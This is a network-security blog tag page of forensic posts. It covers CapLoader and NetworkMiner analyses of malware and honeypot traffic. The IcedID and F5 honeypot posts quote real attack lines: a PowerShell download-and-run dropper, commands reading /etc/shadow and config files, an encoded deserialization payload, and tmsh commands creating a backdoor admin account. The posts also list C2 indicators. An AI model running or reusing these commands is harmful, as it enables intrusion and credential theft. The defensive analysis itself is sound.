NETRESEC Network Security Blog - Tag : CapLoader

rss Google News

Carving Packets from Memory

The packets are in the router

Someone who says "We're gonna pull the packet captures out of the router" probably has no clue how to capture network traffic. In the Lindell case, statements like these were results of an elaborate hoax.

Nevertheless, such a statement doesn't have to be nonsense — if it comes from someone who knows how to dump the physical memory from the router. There are actually more packets available in the RAM of a router, or computer for that matter, than you might think.

The Forensic Challenge from DFRWS 2016 contains a memory dump from an SDN switch. If you drag-and-drop SDN.ram.raw from that challenge to CapLoader then you'll be asked if you wanna carve packets from the memory dump.

CapLoader error message - Invalid capture file

This packet carving feature is also available in the free trial version of CapLoader.

Clicking "Yes" in the dialogue brings up a configuration window. The default settings are okay in most cases.

CapLoader's Carve Packets Window

After pressing "Start" CapLoader will start identifying packets in the memory dump from the SDN switch. The packets will be saved to a Pcap-NG file located in the %TEMP% directory, unless you specified a different output location in the config window.

You can download a copy of the Pcap-NG file that I generated with CapLoader 1.9.2 here: https://www.netresec.com/files/SDN.ram.raw.pcapng (661 kB, 2959 packets)

Here's what it looks like when the carved packets have been loaded into NetworkMiner Professional.

NetworkMiner Professional with SDN.ram.raw.pcapng loaded

As you can see, a great deal of information can be extracted about the hosts on this network just by examining the dumped memory from the SDN switch.

What about Bulk Extractor?

Simson Garfinkel's bulk_extractor can also extract packets from memory dumps. It was actually a research paper by Simson that inspired me to implement a packet carver in the first place.

There are a few significant differences between bulk_extractor and CapLoader with regards to packet carving though. One difference is that bulk_extractor identifies network packets by looking for Ethernet frames containing IPv4 packets, while CapLoader looks for IPv4 or IPv6 packets containing TCP or UDP packets. The output from bulk_extractor is usually quite similar to that of CapLoader, and so is the parsing speed. CapLoader was just slightly faster in our tests and carved about 3% more packets compared to bulk_extractor, these additional packets were primarily IPv6 packets and packets that weren't encapsulated by an Ethernet frame.

Where can I download memory dumps?

I posted a question on Twitter, asking the #DFIR community for their favorite publicly available memory dumps prior to writing this blog post, and I received lots of great answers. Thank you all for contributing! I have now compiled the following list of places from where you can download memory dumps:

For a more detailed blog post on CapLoader's packet carving functionality, please see our Carving Network Packets from Memory Dump Files blog post from 2014.

Posted by Erik Hjelmvik on Tuesday, 31 August 2021 15:10:00 (UTC/GMT)

Tags: #Forensics #RAM #PCAP #Pcap-NG #PcapNG #DFIR #carve #carver #packets #dump #CapLoader #memory forensics #DFRWS

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=218cf94


Walkthrough of DFIR Madness PCAP

I recently came across a fantastic digital forensics dataset at dfirmadness.com, which was created by James Smith. There is a case called The Stolen Szechuan Sauce on this website that includes forensic artifacts like disk images, memory dumps and a PCAP file (well, pcap-ng actually). In this video I demonstrate how I analyzed the capture file case001.pcap from this case.

Follow Along in the Analysis

Please feel free to follow along in the analysis performed in the video. You should be able to use the free trial version of CapLoader and the free open source version of NetworkMiner to perform most of the tasks I did in the video.

Here are some of the BPF and Column Criteria filters that I used in the video, so that you can copy/paste them into CapLoader.

  • net 10.0.0.0/8
  • Umbrella_Domain =
  • not ip6 and not net 224.0.0.0/4
  • host 194.61.24.102 or host 203.78.103.109 or port 3389

ASCII Network Flow Chart

References and Links

Timeline

All events in this timeline take place on September 19, 2020. Timestamps are in UTC.

  • 02:19:26 194.61.24.102 performs RDP brute force password attack against DC01.
  • 02:21:47 RDP password brute force successful.
  • 02:22:08 194.61.24.102 connects to DC01's RDP service as Administrator. Duration: 9 sec.
  • 02:22:36 194.61.24.102 connects to DC01's RDP service as Administrator again. Duration: 30 min.
  • 02:24:06 DC01 downloads coreupdater.exe from 194.61.24.102 using IE11.
  • 02:25:18 DC01 establishes Metrepreter reverse_tcp connection to 203.78.103.109. Duration: 4 min.
  • 02:29:49 DC01 re-establishes Metrepreter reverse_tcp connection to 203.78.103.109. Duration: 23 min.
  • 02:35:55 DC01 connects to DESKTOP's RDP service Administrator (username in Kerberos traffic). Duration 16 min.
  • 02:39:58 DESKTOP download coreupdater.exe from 194.61.24.102 using MS Edge.
  • 02:40:49 DESKTOP establishes Metrepreter reverse_tcp connection to 203.78.103.109. Duration: 2h 58 min.
  • 02:56:03 194.61.24.102 connects to DC01's RDP service as Administrator one last time. Duration: 1 min 38 sec.
  • 02:56:38 DC01 re-establishes Metrepreter reverse_tcp connection to 203.78.103.109. Duration: 2h 42 min.

IOC's

  • IP : 194.61.24.102 (Attacker)
  • IP : 203.78.103.109 (C2 server)
  • MD5 : eed41b4500e473f97c50c7385ef5e374 (coreupdater.exe)
  • JA3 Hash : 84fef6113e562e7cc7e3f8b1f62c469b (RDP scan/brute force)
  • JA3 Hash : 6dc99de941a8f76cad308d9089e793d7 (RDP scan/brute force)
  • JA3 Hash : e26ff759048e07b164d8faf6c2a19f53 (RDP scan/brute force)
  • JA3 Hash : 3bdfb64d53404bacd8a47056c6a756be (RDP scan/brute force)

Wanna learn more network forensic analysis techniques? Then check out our upcoming network forensics classes in September and October.

Posted by Erik Hjelmvik on Friday, 09 July 2021 13:20:00 (UTC/GMT)

Tags: #PCAP #NetworkMiner #CapLoader #video #videotutorial

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=217dfc7


Detecting Cobalt Strike and Hancitor traffic in PCAP

This video shows how Cobalt Strike and Hancitor C2 traffic can be detected using CapLoader.

I bet you’re going:

😱 OMG he’s analyzing Windows malware on a Windows PC!!!

Relax, I know what I’m doing. I have also taken the precaution of analyzing the PCAP file in a Windows Sandbox, which just takes a couple of seconds to deploy and run.

The capture file I’m looking at is called “2021-05-13-Hancitor-traffic-with-Ficker-Stealer-and-Cobalt-Strike.pcap” and can be downloaded from here: https://malware-traffic-analysis.net/2021/05/13/index.html

CapLoader’s Services tab shows us that the connections to TCP 80 and 443 on 103.207.42.11 are very periodic, with a detected period of exactly 1 minute. CapLoader successfully identifies the protocols for these two services as Cobalt Strike over HTTP and Cobalt Strike over SSL, respectively. The third service in this list is also very periodic, that’s the Hancitor trojan beaconing to its C2 server every two minutes.

Services tab in CapLoader

CapLoader uses machine learning to identify the application layer protocol based on the behavior of the traffic, not the port number. This means that there can be false positives, i.e. the protocol classification that CapLoader gives a flow or service might be wrong. It is more common, however, for CapLoader to yield false negatives, which means that it can't identify the protocol. The detection of Cobalt Strike inside of HTTP and SSL traffic was recently introduced in the latest 1.9 release of CapLoader. I expected this feature to detect Cobalt Strike traffic in HTTP, but I was delighted to see that CapLoader often detects even TLS encrypted Cobalt Strike beaconing with really good precision!

As shown in the video, the Cobalt Strike beacon config can easily be extracted from the network traffic using NetworkMiner and Didier Stevens’ 1768 K python script.

The output from Didier’s 7868.py tool looks something like this:

0x0001 payload type 0 windows-beacon_http-reverse_http
0x0002 port 80
0x0003 sleeptime 60000
0x0004 maxgetsize 1048576
0x0005 jitter 0
0x0007 publickey 30819f30[...]
0x0008 server,get-uri '103.207.42.11,/ca'
[...]

As you can see, it uses HTTP for transport with a “sleeptime” of 1 minute (60000 ms) and 0% jitter. This means that a new connection will be made to the Cobalt Strike C2 server every minute. The fact that there was no jitter is what gives this service such a high value in CapLoader’s “Periodicity” column.

Network Forensics Training

Are you interested in learning more about how to analyze network traffic from Cobalt Strike and other backdoors, malware and hacker tools? Then take a look at the live online network forensics classes I will be teaching in September and October!

Posted by Erik Hjelmvik on Monday, 31 May 2021 08:30:00 (UTC/GMT)

Tags: #Netresec #Cobalt Strike #CobaltStrike #periodicity #Protocol Identification #PIPI #CapLoader #1768.py #Windows Sandbox #PCAP #NSM #video #videotutorial

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=21536fc


CapLoader 1.9 Released

CapLoader 1.9 Logo

A new version of the PCAP filtering tool CapLoader has been released today. The new CapLoader version 1.9 is now even better at identifying protocols and periodic beacons than before. The user interface has also been improved to make it easier to filter and drill down in network traffic to extract interesting, malicious or unusual traffic.

More Protocols Identified

We’ve added port-independent protocol detection for over 20 new protocols since the last release. The newly added protocols include some that are used by malicious tools and backdoors such as hTran, RevengeRAT, Tofsee and Winsecsrv, as well as legitimate protocols like WireGuard (VPN) and RemoteFX (UDP based remote desktop). We’ve also improved our support for ICS traffic analysis by adding protocol identification of SCADA protocols DNP3 and IEC 60870-5-104.

CapLoader also detects what we call “sub-protocols”, which are communication protocols that use other L7 protocols as transport. We have extended the sub-protocol detection in CapLoader 1.9 to include traffic like Anchor_DNS and dnscat traffic, which both run on top of DNS. We have also added detection of Cobalt Strike beacons over HTTP and HTTPS, even though the latter is quite difficult to detect due to the application data being encrypted.

Improved Usability

CapLoader 1.9 comes with several user interface improvements that help you solve the “needle in the haystack” problem even more efficiently than before.

The context menus in the Flows, Services and Hosts tabs can now be used to select rows based on values in any column, such as “Select all flows where Duration > 10 minutes” (when right-clicking a 10 minute flow).

The “Keyword Filter” is now called “Row Filter” in order to avoid getting it mixed up with the “Find Keyword” feature. The Row Filter has also been enhanced with a new filtering mode, to complement the Contains / All Words / Any Words / RegEx options, which is called “Column Criteria”. The Column Criteria can be used to filter the displayed rows based on the values in a user-specified column. The Column Criteria “Duration > 00:10:00” will, for example, only show flows that are 10 minutes or longer, while “ASN = 3301” shows the flows going to Telia’s AS3301.

CapLoader 1.9 with Column Criteria Row Filter Duration > 00:10:00

Image: CapLoader with Row Filter Column Criteria "Duration > 00:10:00"

We have also extended CapLoader's BPF implementation to support VLAN id’s, so that you can use expressions like “vlan 100” as input filter as well as display filter. The BPF implementation also supports logic operators, so that more advanced filters like “(tcp port 80 or port 443) and not net 149.154.172.0/22” can be used.

CapLoader has a method for detecting periodic connection patterns, which was introduced in CapLoader 1.4. This feature can be used to detect clients that connect to a service at regular intervals, such as a beacon used for command-and-control or email client connecting to a mail server. We have improved the periodicity detection in CapLoader 1.9 so that it now detects periodic services more accurately.

The Initial Round Trip Time (iRRT) in the Flows and Services tabs is now measured in milliseconds instead of seconds in order to avoid “bulky numbers” (h/t Eddi).

There was previously a significant delay when selecting many flows at once (like 100.000). We’ve improved the performance of this feature in CapLoader 1.9, so that you can now select several hundred thousands flows at once without having to wait for an unresponsive GUI to update.

More OSINT Lookup Services

A feature in CapLoader that often comes in handy is the ability to right-click a flow, service or host and open a website with OSINT information about the clicked IP address or domain name. We have now replaced some of the OSINT services with new better ones.

The new services we’ve added to CapLoader 1.9 for performing online OSINT lookups of IP addresses, network services and domain names are:

Bug fixes and Credits

Several bugs have been fixed in this new release of CapLoader, much thanks to feedback we’ve received from our users. We’d like to thank Anders Regert and Mandy van Oosterhout for reporting bugs in CapLoaders “Save As” feature. We’d also like to thank Hyun Dowon for reporting a snap length corruption bug that previously appeared when exporting flows from Pcap-NG files We have also fixed an issue where capture files were previously not always merged in chronological order when being aggregated.

Updating to the Latest Release

Users who have purchased a license for CapLoader can download a free update to version 1.9 from our customer portal. All others can download a free 30 day trial from the CapLoader product page (no registration required).

Posted by Erik Hjelmvik on Tuesday, 25 May 2021 12:20:00 (UTC/GMT)

Tags: #Netresec #CapLoader #PCAP #Pcap-NG #IEC-104 #CobaltStrike #BPF #periodicity #OSINT

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=2159bda


Analysing a malware PCAP with IcedID and Cobalt Strike traffic

IdedID and Cobalt Strike

This network forensics walkthrough is based on two pcap files released by Brad Duncan on malware-traffic-analysis.net. The traffic was generated by executing a malicious JS file called StolenImages_Evidence.js in a sandbox environment.

The capture file starts with a DNS lookup for banusdona.top, which resolved to 172.67.188.12, followed by an HTTP GET request for "/222g100/index.php" on that domain. The following PowerShell oneliner is returned in the HTTP response from banusdona.top:

$path = $Env:temp+'\JwWdx.dat'; $client = New-Object Net.WebClient; $client.downloadfile('http://banusdona.top/222g100/main.php',$path); C:\Windows\System32\rundll32.exe $path,DllRegisterServer

This oneliner instructs the initial dropper to download a Win32 DLL payload from http://banusdona[.]top/222g100/main.php and save it as "JwWdx.dat" in the user's temp directory and then run the DLL with:

rundll32.exe %TEMP%\JwWdx.dat,DllRegisterServer

As you can see in the screenshot below, the HTTP response for this second request to banusdona.top has Content-Type "application/octet-stream", but also a conflicting Content-disposition header of "attachment;filename=data.jpg", which indicates that the file should be saved to disk as "data.jpg". Nevertheless, the "MZ" header in the transferred data reveals that the downloaded data wasn't an image, but a Windows binary (dll or exe).

CapLoader transcript of IcedID malware download Image: CapLoader transcript of IcedID malware download

The downloaded file gets extracted from the pcap file by NetworkMiner as "data.jpg.octet-stream".

Files extracted from PCAP by NetworkMiner Image: Files extracted from PCAP by NetworkMiner

Right-clicking "data.jpg.octet-stream" in NetworkMiner and selecting "Calculate MD5..." brings up a new window with additional file details, such as MD5 and SHA hashes of the reassembled file.

Extracted malware download of Cerbu / IcedID f98711dfeeab9c8b4975b2f9a88d8fea
MD5: f98711dfeeab9c8b4975b2f9a88d8fea SHA1: c2bdc885083696b877ab6f0e05a9d968fd7cc2bb SHA256: 213e9c8bf7f6d0113193f785cb407f0e8900ba75b9131475796445c11f3ff37c

This file is available on VirusTotal, where we can see that it's a DLL that several AV vendors identify as "Cerbu" or "IcedID". VirusTotal's C2AE sandbox analysis of the DLL also reveals the domain name "momenturede.fun" in the process' memory. As you might expect, a connection is made to that domain just a few seconds later. A nice overview of these connections can be seen in CapLoader's Flow tab.

CapLoader showing initial flows from the IcedID malware execution Image: CapLoader showing initial flows from the IcedID malware execution

The momenturede.fun server returns a 500kB file, which NetworkMiner extracts from the pcap file as "index.gzip".

MD5: 96a535122aba4240e2c6370d0c9a09d3 SHA1: 485ba347cf898e34a7455e0fd36b0bcf8b03ffd8 SHA256: 3d1b525ec2ee887bbc387654f6ff6d88e41540b789ea124ce51fb5565e2b8830

This turns out to be an encrypted IcedID DLL file, which has been analyzed by Ali Aqeel here:
https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/

Right after the IcedID download we see a series of HTTPS connections towards odd domains like vaccnavalcod.website, mazzappa.fun, ameripermanentno.website and odichaly.space, all of which resolved to IP 83.97.20.176. That host is most likely a command-and-control (C2) server used by the IcedID malware.

CapLoader's "Services" tab also reveals that the TLS connections to port 443 on 83.97.20.176 are very periodic, with a new connection every 5 minutes. Periodic connection patterns like this is a typical indicator of C2 traffic, where the malware agent connects back to the C2 server on regular intervals to check for new tasks.

Periodic IcedID C2 communication detected by CapLoader Image: CapLoader's Services tab showing that the IcedID malware agent connects to the C2 server every 5 minutes (00:05:01).

The traffic to 83.97.20.176 is encrypted, so we can't inspect the payload to verify whether or not it is IcedID C2 communications. What we can do, however, is to extract the HTTPS server's X.509 certificate and the JA3 hash of the client's TLS implementation from the encrypted traffic.

NetworkMiner has extracted the X.509 certificates for vaccnavalcod.website, mazzappa.fun, ameripermanentno.website and odichaly.space to disk as "localhost.cer".

X.509 certificate 452e969c51882628dac65e38aff0f8e5ebee6e6b

It turns out that all these sites used the same self-signed certificate, which had SHA1 fingerprint 452e969c51882628dac65e38aff0f8e5ebee6e6b. The X.509 certificate was created using OpenSSL's default values, such as "Internet Widgits Pty Ltd" etc. Further details about this certificate can be found on censys.io.

The JA3 hashes used by the IcedID malware agent can be found in NetworkMiner's Hosts tab as well as in the Parameters tab.

NetworkMiner's Parameters tab with keyoword filter JA3 Hash Image: NetworkMiner's Parameters tab with keyword filter "JA3 Hash"

The JA3 hashes for the client that connects to the C2 server are a0e9f5d64349fb13191bc781f81f42e1 and 3b5074b1b5d032e5620f69f9f700ff0e. Several legitimate Windows applications unfortunately have the same JA3 hashes, so we can't use them to uniquely identify the IcedID agents.

The IcedID C2 traffic continues for over 19 hours, at which point we suddenly see a connection to a new suspicious domain called "lesti.net" on 185.141.26.140. The first HTTP request to that domain is used to download a 261703 byte file, as can be seen in this Flow Transcript from CapLoader:

CapLoder Transcript of CobaltStrike beacon download

NetworkMiner extracts this file as "9r8z.octet-stream". This turns out to be a Cobalt Strike beacon download, which we can decode with Didier Stevens' fantastic 1768.py script.

The output from 1768.py reveals that this Cobalt Strike beacon is using the following URIs for C2 communication:

  • GET URI: http://lesti[.]net/userid=
  • POST URI: http://lesti[.]net/update.php

We can also see that the Cobalt Strike license-id (a.k.a. watermark) is 1580103814. This ID can be used to link this Cobalt Strike beacon to other campaigns. Below is a list of Cobalt Strike C2 servers using license-id 1580103814 discovered by Tek in December 2020:

  • 45.147.229[.]157
  • selfspin[.]com
  • savann[.]org
  • palside[.]com
  • server3.msadwindows[.]com
  • mapizzamates[.]com
  • fixval[.]com
  • rackspare-technology[.]download
  • 108.177.235[.]148
  • matesmapizza[.]com

Update 4 May 2021

Sergiu Sechel published a blog post yesterday, which included a list of Cobalt Strike C2 servers. We fed this list to Tek's scan_list.py script in order to see if license-id 1580103814 is still active. It turned out it was. We found the following 27 domains and IP's running Cobalt Strike C2 servers on TCP 443 using that license-id.

  • 151.236.14[.]53
  • 151.236.14[.]53
  • 172.241.27[.]70
  • 193.29.13[.]201
  • 193.29.13[.]201
  • 193.29.13[.]209
  • 194.165.16[.]60
  • 193.29.13[.]209
  • 193.29.13[.]201
  • 194.165.16[.]60
  • 194.165.16[.]60
  • dain22[.]net
  • drellio[.]com
  • feusa[.]net
  • fut1[.]net
  • helle1[.]net
  • hars2t[.]com
  • kasaa[.]net
  • idxup[.]com
  • maren2[.]com
  • mgfee[.]com
  • massflip[.]com
  • oaelf[.]com
  • repdot[.]com
  • scalewa[.]com
  • tulls[.]net
  • wellser[.]org

The full output from our re-scan of Sergiu's C2 list can be found on pastebin.

Update 8 May 2021

Security researcher Michael Koczwara is tracking Cobalt Strike license 1580103814 as APT actor LuckyMouse (a.k.a. Emissary Panda or APT 27). Michael's Cobalt Stike C2 dataset, which currently contains 25 unique C2 IPs and domains for license-id 1580103814, is available as a Google Docs spreadsheet (see the "LuckyMouse Actor" tab).

Indicators of Compromise - IOCs

  • MD5: 8da75e1f974d1011c91ed3110a4ded38
  • SHA1: e9b5e549363fa9fcb362b606b75d131dec6c020e
  • SHA256: 0314b8cd45b636f38d07032dc8ed463295710460ea7a4e214c1de7b0e817aab6
  • DNS: banusdona.top
  • IP: 172.67.188.12
  • MD5: f98711dfeeab9c8b4975b2f9a88d8fea
  • SHA1: c2bdc885083696b877ab6f0e05a9d968fd7cc2bb
  • SHA256: 213e9c8bf7f6d0113193f785cb407f0e8900ba75b9131475796445c11f3ff37c
  • DNS: momenturede.fun
  • IP: 104.236.115.181
  • MD5: 96a535122aba4240e2c6370d0c9a09d3
  • SHA1: 485ba347cf898e34a7455e0fd36b0bcf8b03ffd8
  • MD5: 11965662e146d97d3fa3288e119aefb2
  • SHA1: b63d7ad26df026f6cca07eae14bb10a0ddb77f41
  • SHA256: d45b3f9d93171c29a51f9c8011cd61aa44fcb474d59a0b68181bb690dbbf2ef5
  • DNS: vaccnavalcod.website
  • DNS: mazzappa.fun
  • DNS: ameripermanentno.website
  • DNS: odichaly.space
  • IP: 83.97.20.176
  • SHA1: 452e969c51882628dac65e38aff0f8e5ebee6e6b
  • DNS: lesti.net
  • IP: 185.141.26.140
  • MD5: 449c1967d1708d7056053bedb9e45781
  • SHA1: 1ab39f1c8fb3f2af47b877cafda4ee09374d7bd3
  • SHA256: c7da494880130cdb52bd75dae1556a78f2298a8cc9a2e75ece8a57ca290880d3
  • Cobalt Strike Watermark: 1580103814

Network Forensics Training

Are you interested in learning more about how to analyze captured network traffic from malware and hackers? Have a look at our network forensic trainings. Our next class is a live online event called PCAP in the Morning.

Posted by Erik Hjelmvik on Monday, 19 April 2021 09:45:00 (UTC/GMT)

Tags: #Cobalt Strike #CobaltStrike #NetworkMiner #CapLoader #Network Forensics #JA3 #X.509 #1768.py

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=214d7ff


Honeypot Network Forensics

f5 Honeypot Network Forensics

NCC Group recently released a 500 MB PCAP file containing three months of honeypot web traffic data related to the F5 remote code execution vulnerability CVE-2020-5902. In a blog post the NCC Group say that their objective is "to enable all threat intelligence researchers to gain further understanding and contribute back to the community".

The data in NCC's 500 MB capture file "f5-honeypot-release.pcap" ranges from July 7 up until September 28 and contains traffic from over 4000 unique client IP addresses. The packets are captured after having passed through a proxy, which is why all clients have IP "123.45.67.89" and the server is always displayed as "127.0.0.1". This makes it difficult to split or filter the traffic based on the client IP address. Many HTTP headers have also been masked in the capture file, but the IP portion of the "X-Forwarded-For" header is still intact. You can therefore track clients throughout the capture file by filtering on the "X-Forwarded-For" header, which contains the originating IP address of the client connecting to the proxy. As an example, you can use the following tshark command in order to count the exact number of unique clients in the released PCAP file:

tshark -r f5-honeypot-release.pcap -T fields -e http.x_forwarded_for -Y http.x_forwarded_for | sort -u | wc -l
4310

Tracking a Single Actor

I decided to focus on one of the over 4000 clients in NCC's capture file in this blog post. The selected actor is primarily originating from the IP address 45.12.206.76, which is a VPN egress point according to Scamalytics. I can therefore not be certain that only a single actor is caught with this filter, but the consistent behavior across the various sessions indicates so.

Some characteristic traits of the actor's traffic is:

  • Web browser User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
  • Uses VPN from Think Huge Ltd, IP range announced by AS9009 "M247 LTd"
  • Active between 21:55 and 05:08 UTC on weekdays as well as weekends

I started by opening the full 500 MB PCAP file from NCC Group in CapLoader. Then I narrowed the dataset down to a single client IP address by clicking "Edit -> Find Keyword" and entering the string "X-Forwarded-For: 45.12.206.76".

CapLoader Find Keyword X-Forwarded-For

After pressing "Find All Matching Flows" I got a much smaller dataset (144 kB) containing only the sessions for this specific IP address.

July 7 22:16 UTC - First Contact

The actor with IP address "45.12.206.76" can be observed attacking the vulnerable F5 device on July 7 at 22:16 UTC. The attack started with an attempt at exploiting the authentication bypass vulnerability in CVE-2020-5902.

CapLoader Transcript of CVE-2020-5902 authentication bypass attack Image: CapLoader Flow Transcript of the authentication bypass attack.

The attacker wrote the following content to "/tmp/.X11.1" by sending an HTTP POST to "fileSave.jsp":

set -e; cat /etc/shadow; cat /etc/hosts; cat /etc/krb5.conf; ifconfig -a; ss -lnpt; cat /config/bigip.license; rm /tmp/.X11.1
NetworkMiner 2.6 Parameters Image: Parameters from the attacker shown in NetworkMiner

The "/tmui/login.jsp" page can be accessed without authentication, so no credentials are needed for this request. But as explained in Orange Tsai's BlackHat 2018 talk "Breaking Parser Logic!" the TMUI Tomcat service will interpret "..;" as the parent directory, which yields URI "/tmui/locallb/workspace/fileSave.jsp" that would otherwise only be available to authenticated users.

Slide from Orange Tsai's BlackHat 2018 talk

I didn't find any attempt to execute the bash script in the "/tmp/.X11.1" file though.

July 9 04:49 UTC - Same Actor, New IP

The same actor came back again on July 9, but this time from the IP address "185.160.24.70". The actions carried out are pretty much a reiteration of the previous attempts, i.e. writing "set -e; cat /etc/shadow; cat /etc/hosts; [...]" (exact same commands as last time) to "/tmp/.X11.1". The commands, the name of the temp file and the HTTP headers are identical which is why I'm pretty confident that this is the same actor. Both IP addresses (45.12.206.76 and 185.160.24.70) also seem to originate from the same VPN service, since the networks are announced by AS9009 (M247 Ltd) and both networks are registered to "Think Huge Ltd" who run VPN's as part of their business.

July 18 21:55 UTC - Java Deserialization Attack

More than a week later there is activity from the 45.12.206.76 IP address again. But this time the attacker has changed approach to instead inject a serialized piece of Java code by posting it to "/hsqldb;" This is an attempt at triggering the deserialization vulnerability in CVE-2020–5902.

CapLoader Transcript of Java Deserialization Attack

As you've probably noticed the argument provided to the org.hsqldb.util.ScriptTool.main function is ASCII-hex encoded. Decoding it gives a serialized Java blob containing a call to the org.apache.commons.collections.functors.InvokerTransformer constructor with methodName "exec" and a long string as args. You can use SerializationDumper to see the full structure. The full argument provided to the InvokerTransformer constructor was:

bash -c {echo,dG1zaCAtYyAiY3J​YXRlIGF1dGggdXNl​ciBzbm1wZCBwYXNz​d29yZCBBYkNkMDA3​eHN3MiBzaGVsbCBi​YXNoIHBhcnRpdGlv​bi1hY2Nlc3MgYWRk​IHthbGwtcGFydGl0​aW9ucyB7cm9sZSBh​ZG1pbn19Ig==}|{base64,-d}|{bash,-i}

Base64 decoding the data reveals the following command sent to the TMOS Shell (tmsh):

tmsh -c "create auth user snmpd password AbCd007xsw2 shell bash partition-access add {all-partitions {role admin}}"

The HTTP response contains a string saying "General error java.lang.IllegalArgumentException: argument type mismatch", which could indicate that the exploit failed. However that is probably just a side effect of the exploit, so the injected bash command might still have executed. Nevertheless the attacker POST'ed the exact same exploit three more times, getting the same IllegalArgumentException error message each time.

The attacker came back with a slightly modified payload for the deserialization attack 20 minutes later. The new payload executed this tmsh command instead:

tmsh -c "create auth user snmpd password AbCd007xsw2 partition-access all role admin shell bash"
This attack was also posted four times.

July 19 02:54 UTC - Web Shell

Five hours after the first deserialization attack the actor came back, this time with a call to F5's "iControl REST API" at URI "/mgmt/tm/util/bash".

CapLoader Transcript of POST request to /mgmt/tm/util/bash

It looks like a bash command was supplied in the JSON data. The documentation for the iControl REST API confirms that this is a built in feature, not a bug or vulnerability:

The utilCmdArgs name is used to provide the command line arguments for the Advanced Shell (bash) utility. The -c option in bash is used to process any system commands [...]

However, this type of request can only be carried out by an authenticated user. The HTTP request used basic auth with "c25tcGQ6QWJDZDAwN3hzdzI=" as credential, which decodes into "snmpd:AbCd007xsw2". You probably recognize this credential from the deserialization attack, where the command "create auth user snmpd password AbCd007xsw2" was issued. The password in the basic auth header can also be observed in NetworkMiner's "Credentials" tab.

NetworkMiner 2.6 Credentials

NetworkMiner can also be used to list all all occurrences of the "utilCmdArgs" parameter.

NetworkMiner 2.6 Parameters Image: Parameters values for "utilCmdArgs" in PCAP data filtered on "X-Forwarded-For: 45.12.206.76".

NetworkMiner shows us that the "cat /etc/hosts" command was issued four times. We can see that the command executed successfully, because the HTTP response comes back with a JSON formatted result containing the following output from the cat command:

#
# THIS IS AN AUTO-GENERATED FILE - DO NOT EDIT!!!
#
# Use the tmsh shell utility to make changes to the system configuration.
# For more information, see tmsh -a help sys global-settings.
127.0.0.1 localhost.localdomain localhost bigip1.localhost.localdomain
127.2.0.1 sccp aom AOM
127.2.0.2 bigip1.localhost.localdomain
127.1.1.255 tmm-bcast
127.1.1.253 tmm-shared
127.1.1.254 tmm
127.1.1.1 tmm0
127.1.1.2 tmm1
10.164.0.2 bigip1.localhost.localdomain
220.64.53.10 f5update.ddns.net

The list of "utilCmdArgs" parameters from NetworkMiner also reveals that the attacker sent the following long sequence of commands to the iControl "Advanced Shell" utility:
-c "set -e; cat /etc/shadow; cat /etc/hosts; cat /etc/krb5.conf; ifconfig -a; ss -lnpt; cat /config/bigip.license;"

You probably recognize this command sequence, which was previously posted to "/tmp/.X11.1" on July 7 and 9 by attempting to exploit the authentication bypass vulnerability in CVE-2020-5902. However, this time the output from the command comes back in the HTTP response in form of a 16 kB JSON blob.

CapLoader Transcript of utilCmdArgs request and responseImage: CapLoader Transcript of utilCmdArgs request and reponse

The PCAP file from NCC Group unfortunately only contain the first 8 kB of the full 16 kB JSON data returned from the server. It looks as if the data was cut of just before the contents of "/config/bigip.license" were about to be transferred. By looking at the TCP ACK numbers coming back from 45.12.206.76 it looks as if the complete 16 kB output was actually transferred to the attacker, but this traffic has been removed from the published capture file. Maybe this was done in order to protect the contents of NCC's "bigip.license" file?

Other Attacks with Similar Password Scheme

This blog post has outlined how an attacker created a user account called "snmpd" on NCC Group's F5 honeypot. The password for this user account was set to "AbCd007xsw2" by the attacker. In the dataset published by NSS I noticed two other attacks where user accounts were created with very similar passwords.

The first one creates a user account named "system" with password "ABcD007...A01". This user account was created by an attacker, coming from IP address 185.220.101.214 on July 7, with the following payload in another deserialization attack:

tmsh -c 'create auth user systems password ABcD007...A01 shell bash partition-access add { all-partitions { role admin }}';

The IP address used in that attack (185.220.101.214) was an active Tor relay on July 7.

The other attack where a similar password was observed originated from IP address 198.13.54.223 on August 3'rd. This time the attacker attempted to authenticate to "/tmui/logmein.html" with username "admin" and password "aBcD008@@Ws0A".

CapLoader Transcript of POST request to logmein.html

However, as can be seen in the screenshot above, the login was not successful.

I'm not sure if this is a password scheme used by a specific actor or if it is an artifact of a common tool used by different actors.

Finally, there was also an actor coming in from IP address 185.201.9.198 who performed actions related to those described in this blog post. However, I'd like to cover that traffic in a separate blog post.

Posted by Erik Hjelmvik on Wednesday, 21 October 2020 12:35:00 (UTC/GMT)

Tags: #PCAP #CapLoader #NetworkMiner

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=20A37e0


CapLoader 1.8 Released

CapLoader 1.8

We are happy to announce the release of CapLoader 1.8 today!

CapLoader is primarily used to filter, slice and dice large PCAP datasets into smaller ones. This new version contains several new features that improves this filtering functionality even further. To start with, the “Keyword Filter” can now be used to filter the rows in the Flows, Services or Hosts tabs using regular expressions. This enables the use of matching expressions like this:

  • amazon|akamai|cdn
    Show only rows containing any of the strings “amazon” “akamai” or “cdn”.
  • microsoft\.com\b|windowsupdate\.com\b
    Show only servers with domain names ending in “microsoft.com” or “windowsupdate.com”.
  • ^SMB2?$
    Show only SMB and SMB2 flows.
  • \d{1,3}\.\d{1,3}\.\d{1,3}\.255$
    Show only IPv4 address ending with “.255”.

For a reference on the full regular expression syntax available in CapLoader, please see Microsoft’s regex “Quick Reference”.

One popular workflow supported by CapLoader is to divide all flows (or hosts) into two separate datasets, for example one “normal” and one “malicious” set. The user can move rows between these two sets, where only one set is visible while the rows in the other set are hidden. To switch which dataset that is visible versus hidden the user needs to click the [Invert Hiding] button (or use the [Ctrl]+[Tab] key combination). With this new release we’ve also made the “Invert Hiding” functionality available by clicking the purple bar, which shows the number of rows present in the currently viewed set.

CapLoader Invert Hiding GIF

Readers with a keen eye might also notice that the purple bar charts are now also accompanied by a number, indicating how many rows that are visible after each filter is applied. The available filters are: Set Selection, BPF and Keyword Filter.

NetFlow + DNS = Great Success!

